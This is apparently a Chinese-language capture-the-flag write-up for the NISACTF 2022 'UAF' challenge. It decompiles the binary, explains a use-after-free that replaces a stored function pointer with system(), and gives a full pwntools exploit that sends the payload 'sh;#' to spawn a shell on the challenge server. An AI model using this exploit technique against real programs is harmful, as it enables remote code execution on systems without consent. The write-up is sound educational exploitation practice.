[NISACTF 2022]UAF

简单的UAF,注意 shell 语法里的 sh;#

int create()
{
  int result; // eax
  int v1; // ebx
  char *v2; // eax

  printf("you are creating the %d page\n", i);
  result = i;
  if ( i >= 0 )
  {
    result = i;
    if ( i <= 9 )
    {
      v1 = i;
      (&page)[v1] = (char *)malloc(8u);         // page[i] = malloc(8)
      if ( i )
      {
        if ( i <= 0 || i > 9 )
        {
          return puts("NO PAGE");
        }
        else
        {
          puts("Good cretation!");
          return ++i;
        }
      }
      else
      {
        v2 = page;
        *(_DWORD *)page = 1868654951;           // *page[0] = "giao"
        v2[4] = 0;
        *((_DWORD *)page + 1) = echo;           // +0x04 echo函数地址
        puts("The init page");
        return ++i;
      }
    }
  }
  return result;
}
int __cdecl echo(char *s)
{
  return puts(s);
}
unsigned int edit()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);                    // page[0]不可修改
  if ( v1 <= 0 || v1 > i )
  {
    puts("NO PAGE");
  }
  else
  {
    puts("Input your strings");
    __isoc99_scanf("%s", (&page)[v1]);
  }
  return __readgsdword(0x14u) ^ v2;
}
unsigned int del()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > i )
    puts("NO PAGE");
  else
    free((&page)[v1]);
  return __readgsdword(0x14u) ^ v2;
}
unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 )
  {
    if ( v1 <= 0 || v1 > i )
      puts("NO PAGE");
    else
      echo((&page)[v1]);
  }
  else
  {
    (*((void (__cdecl **)(char *))page + 1))(page);
  }
  return __readgsdword(0x14u) ^ v2;
}

思路很清晰了,先创建 page[0] ,再创建 page[1] 隔绝 page[0] 和 top chunk ,接下来释放 page[0] ,我们发现, i 只增不减,因此我们可以再次创建一个 page 即为 page[2] ,而此时, page[2] = page[0] ,也就是说,我们可以通过修改 page[2] 来修改 page[0]

show() 函数可知,可以将 *page + 1 改为 system 函数地址,再将 page 内容修改为 sh;# ,即可get shell

from pwn import *

context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'

# elf = ELF()
# libc = ELF()

# io = process('./pwn')
io = remote("node4.anna.nssctf.cn",24538)

# io = gdb.debug('./pwn', gdbscript='set pagination off\nb *0x08048588\nc')

def create():
    io.recvuntil(b":")
    io.sendline(b"1")

def edit(i,data):
    io.recvuntil(b":")
    io.sendline(b"2")
    io.recvuntil(b"Input page\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"Input your strings\n")
    io.sendline(data)

def delete(i):
    io.recvuntil(b":")
    io.sendline(b"3")
    io.recvuntil(b"Input page\n")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b":")
    io.sendline(b"4")
    io.recvuntil(b"Input page\n")
    io.sendline(str(i).encode())

create()
create()

delete(0)
create()

edit(2, b"sh;#" + p32(0x080484E0))
# edit(2, b"sh\x00\x00" + p32(0x080484E0))
show(0)

io.interactive()

这里讲一下,由于修改后, show(0) 时调用 system(page[0]); ,那么对于 system 来说, p32(0x080484E0) 是乱码,因此我们需要使用 # 表示从这里到行尾都是注释,所以后面的地址字节不会作为命令继续解析